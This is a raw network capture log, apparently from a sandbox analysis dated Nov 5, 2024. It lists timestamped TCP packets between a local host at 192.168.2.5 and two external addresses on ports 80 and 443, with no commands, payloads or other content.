Nov 5, 2024 10:13:24.100364923 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100429058 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.100526094 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100541115 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100574970 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.100580931 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100591898 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100595951 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.100601912 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100626945 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.100646019 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.100967884 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100986958 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.100996971 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.101011038 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.101038933 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.101078033 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.101089001 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.101125956 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.101140976 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.152128935 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.152632952 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.152654886 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.153122902 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.153129101 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.168381929 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.168760061 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.168768883 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.169015884 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.169020891 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.173535109 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.173768044 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.173775911 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.174098015 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.174103022 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.175731897 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.175744057 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.175786018 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.175803900 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.175827980 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.175873041 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.175873995 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.175916910 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.176645041 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.176697969 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.176728010 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.176750898 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.176778078 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.176790953 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.176824093 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.176835060 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.176843882 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.176867008 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.176908970 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.215847969 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.215862036 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.215873957 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.215883970 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.215898037 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216028929 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.216028929 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.216195107 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216204882 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216214895 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216224909 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216249943 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.216265917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.216810942 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216820955 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216830969 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.216862917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.216876984 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.289995909 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.290626049 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.290790081 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.290790081 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.290790081 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.291300058 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.291357994 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.291359901 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.291400909 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.292493105 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.292563915 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.292630911 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.292642117 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.292679071 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.292702913 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.292769909 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.292779922 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.292826891 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.293489933 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.293504953 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.293752909 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.293752909 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.293778896 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.297239065 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.297535896 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.297552109 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.297923088 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.297928095 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.307609081 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.307804108 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.307856083 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.307868004 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.307873011 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.307898045 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.307904959 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.309725046 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.309736967 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.309796095 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.309901953 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.309914112 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.313746929 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.313808918 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.313848972 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.313941956 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.313941956 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.313955069 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.313961983 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.316198111 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.316207886 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.316272020 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.316375017 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.316385031 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.331216097 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331229925 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331242085 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331254005 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331265926 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331268072 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.331294060 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.331305027 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.331506968 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331552029 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.331558943 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331592083 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.331702948 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331715107 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331727982 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331741095 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.331749916 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.331782103 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.332396984 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.332408905 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.332421064 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.332446098 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.332456112 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.332688093 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.332731009 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.332731009 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.332767010 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.406658888 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.406671047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.406718016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.407531023 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.407577991 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.407582045 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.407588959 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.407622099 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.407718897 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.407730103 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.407740116 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.407769918 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.407787085 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.434401989 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.434590101 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.434650898 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.435339928 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.435359955 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.435369968 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.435376883 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.445277929 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.445298910 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.445384026 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.445540905 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.445554972 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.449017048 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449028015 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449038029 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449047089 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449058056 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449067116 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449076891 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449079037 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.449127913 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.449167967 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449179888 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449188948 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449198961 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449207067 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.449208021 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449218035 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449229002 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.449234009 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.449260950 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.449280024 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.493194103 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.493745089 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.493757010 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.494183064 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.494188070 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.522186041 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.522196054 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.522206068 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.522280931 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.523017883 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523075104 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.523150921 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523160934 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523169041 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523180962 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523189068 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523206949 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.523225069 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523237944 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.523247957 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.523269892 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.523296118 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.562009096 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562093973 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.562189102 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562200069 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562211037 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562221050 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562357903 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.562357903 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.562650919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562660933 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562670946 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562680006 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562690020 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562700033 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562700033 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.562711954 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562719107 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.562721968 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.562741041 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.562752008 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.563386917 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.563399076 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.563436031 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.604429960 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.604440928 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.628761053 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.628865957 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.629019022 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.629055977 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.629064083 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.629071951 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.629076004 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.631473064 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.631517887 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.631597996 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.631735086 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:24.631752968 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:24.637455940 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.637465954 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.637516975 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.637531042 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.637715101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.637808084 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.637861967 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.637887955 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.638323069 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.638376951 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.638387918 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.638400078 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.638427973 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.638446093 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.638458967 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.638509035 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.638509035 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.638550043 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.638571024 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.638586998 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.677263021 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677330971 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.677433014 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677443027 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677454948 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677468061 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677479982 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677481890 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.677503109 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.677547932 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.677882910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677892923 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677932024 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.677938938 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.677978039 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.678019047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678030014 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678045034 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678059101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678069115 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.678098917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.678607941 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678627968 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678638935 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678653955 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.678683043 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.678738117 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.678785086 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.759111881 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.759123087 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.759133101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.759143114 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.759154081 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.759165049 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.759196043 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.759239912 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.792877913 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.792896032 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.792907953 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.792917013 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.792927027 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.792942047 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.792968035 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.793293953 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793304920 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793315887 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793337107 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.793365955 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.793539047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793550014 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793560028 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793577909 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.793605089 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793606043 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.793616056 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793627977 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793638945 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.793644905 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.793667078 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.793690920 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.794364929 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.794375896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.794385910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.794406891 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.794425011 CET	49738	80	192.168.2.5	185.215.113.206
